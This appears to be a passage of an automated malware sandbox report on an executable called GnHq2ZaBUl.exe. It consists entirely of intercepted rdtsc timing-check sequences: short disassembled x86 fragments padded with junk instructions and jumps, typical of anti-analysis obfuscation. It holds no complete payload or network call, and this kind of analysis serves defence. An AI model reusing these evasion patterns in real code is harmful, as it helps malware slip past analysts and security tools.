Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EBEC33 second address: EBEC4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jns 00007F3DA0D10B46h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EBEC4E second address: EBEC53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EBD5E7 second address: EBD62D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F3DA0D10B36h 0x0000000a pop ebx 0x0000000b pushad 0x0000000c jmp 00007F3DA0D10B44h 0x00000011 je 00007F3DA0D10B36h 0x00000017 jmp 00007F3DA0D10B47h 0x0000001c push edi 0x0000001d pop edi 0x0000001e popad 0x0000001f popad 0x00000020 push ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EBD75F second address: EBD765 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EBDA48 second address: EBDA56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3DA0D10B3Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EBDA56 second address: EBDA5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EBDBA8 second address: EBDBB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3DA0D10B3Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EBDBB6 second address: EBDBCD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0B69F4Dh 0x00000007 je 00007F3DA0B69F46h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E63A5D second address: E63A63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E63A63 second address: E63AD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007F3DA0B69F48h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 0000001Bh 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 sub dword ptr [ebp+122D225Ah], ebx 0x00000028 push 00000004h 0x0000002a push 00000000h 0x0000002c push eax 0x0000002d call 00007F3DA0B69F48h 0x00000032 pop eax 0x00000033 mov dword ptr [esp+04h], eax 0x00000037 add dword ptr [esp+04h], 00000019h 0x0000003f inc eax 0x00000040 push eax 0x00000041 ret 0x00000042 pop eax 0x00000043 ret 0x00000044 sub dx, 8007h 0x00000049 nop 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d push eax 0x0000004e pop eax 0x0000004f jmp 00007F3DA0B69F51h 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EBDEA5 second address: EBDECE instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3DA0D10B38h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F3DA0D10B46h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EBDECE second address: EBDED2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EC7713 second address: EC7718 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EC7718 second address: EC7752 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0B69F4Ah 0x00000007 jmp 00007F3DA0B69F54h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 js 00007F3DA0B69F46h 0x00000019 jp 00007F3DA0B69F46h 0x0000001f jnl 00007F3DA0B69F46h 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EC5B6F second address: EC5B75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EC6077 second address: EC607C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EC71B5 second address: EC71B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EC71B9 second address: EC71BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: ECA75C second address: ECA766 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3DA0D10B36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: ECAA1A second address: ECAA24 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3DA0B69F46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: ECAB6D second address: ECAB8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jc 00007F3DA0D10B36h 0x00000011 jo 00007F3DA0D10B36h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push edi 0x0000001b pop edi 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: ECAB8B second address: ECAB9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0B69F4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: ECACF9 second address: ECACFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: ECACFF second address: ECAD15 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3DA0B69F46h 0x00000008 jmp 00007F3DA0B69F4Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: ECAE93 second address: ECAE99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: ECFAA7 second address: ECFAAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: ED8EDD second address: ED8EE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: ED8EE1 second address: ED8EF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jnc 00007F3DA0B69F4Ch 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: ED8EF8 second address: ED8EFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: ED8EFE second address: ED8F1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F3DA0B69F51h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: ED7249 second address: ED7259 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 jnp 00007F3DA0D10B36h 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: ED7259 second address: ED725D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: ED725D second address: ED729B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3DA0D10B3Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jno 00007F3DA0D10B4Dh 0x00000015 jmp 00007F3DA0D10B3Ch 0x0000001a rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: ED76A5 second address: ED76A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: ED7919 second address: ED791F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: ED7A62 second address: ED7A82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F3DA0B69F57h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: ED7E48 second address: ED7E52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: ED7E52 second address: ED7E58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: ED7E58 second address: ED7E5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: ED85DC second address: ED85F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3DA0B69F51h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: ED6C30 second address: ED6C38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: ED6C38 second address: ED6C69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3DA0B69F54h 0x00000009 popad 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007F3DA0B69F52h 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: ED6C69 second address: ED6C6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: ED6C6E second address: ED6C76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: ED6C76 second address: ED6C7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EDE996 second address: EDE9A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F3DA0B69F4Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EDE38C second address: EDE3C2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007F3DA0D10B3Dh 0x0000000a pop edx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 jmp 00007F3DA0D10B43h 0x00000015 pop edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a jnc 00007F3DA0D10B36h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EDE3C2 second address: EDE3D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0B69F53h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EDE6B5 second address: EDE6BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EEA4AE second address: EEA4CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F3DA0B69F54h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EE9F65 second address: EE9F73 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007F3DA0D10B36h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EEBAAA second address: EEBAAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EEBAAE second address: EEBAB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EED7F6 second address: EED801 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jns 00007F3DA0B69F46h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: F0860B second address: F0863B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0D10B3Eh 0x00000007 jmp 00007F3DA0D10B46h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jg 00007F3DA0D10B36h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: F08762 second address: F08797 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F3DA0B69F4Dh 0x0000000b popad 0x0000000c pop ebx 0x0000000d pushad 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 pop edx 0x00000014 pushad 0x00000015 jg 00007F3DA0B69F46h 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F3DA0B69F4Bh 0x00000025 push edx 0x00000026 pop edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: F08947 second address: F08951 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3DA0D10B36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: F08AAD second address: F08ACA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3DA0B69F54h 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: F08D60 second address: F08D6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: F08D6A second address: F08D86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3DA0B69F58h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: F096BC second address: F096C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: F096C4 second address: F096CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: F0D47D second address: F0D483 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: F0D483 second address: F0D48A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: F0D48A second address: F0D490 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: F0D490 second address: F0D49A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F3DA0B69F46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: F0D17D second address: F0D181 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: F0D181 second address: F0D1A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F3DA0B69F5Bh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: F0D1A2 second address: F0D1AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: F0D1AA second address: F0D1AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: F1A060 second address: F1A064 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: F1A064 second address: F1A068 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: F1A068 second address: F1A06E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: F1A06E second address: F1A07E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a jc 00007F3DA0B69F46h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: F3F781 second address: F3F787 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: F3F787 second address: F3F78D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: F3F78D second address: F3F7DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F3DA0D10B49h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e jmp 00007F3DA0D10B47h 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push edi 0x00000017 jp 00007F3DA0D10B42h 0x0000001d jmp 00007F3DA0D10B3Ch 0x00000022 push ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: F3F932 second address: F3F937 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: F3FED2 second address: F3FEEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3DA0D10B45h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: F401AE second address: F401D0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3DA0B69F48h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3DA0B69F56h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: F401D0 second address: F401D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: F41D32 second address: F41D57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F3DA0B69F46h 0x0000000a jc 00007F3DA0B69F46h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 ja 00007F3DA0B69F46h 0x00000019 jmp 00007F3DA0B69F4Ch 0x0000001e rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: F41D57 second address: F41D7A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0D10B42h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e ja 00007F3DA0D10B38h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: F41D7A second address: F41D7F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E19990 second address: E199A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007F3DA0D10B36h 0x00000010 jp 00007F3DA0D10B36h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E199A6 second address: E199AF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: F43274 second address: F4327A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: F460A7 second address: F460AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: F479D2 second address: F479D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: F474DE second address: F474ED instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnp 00007F3DA0B69F46h 0x00000009 pushad 0x0000000a popad 0x0000000b pop edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: F474ED second address: F474F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
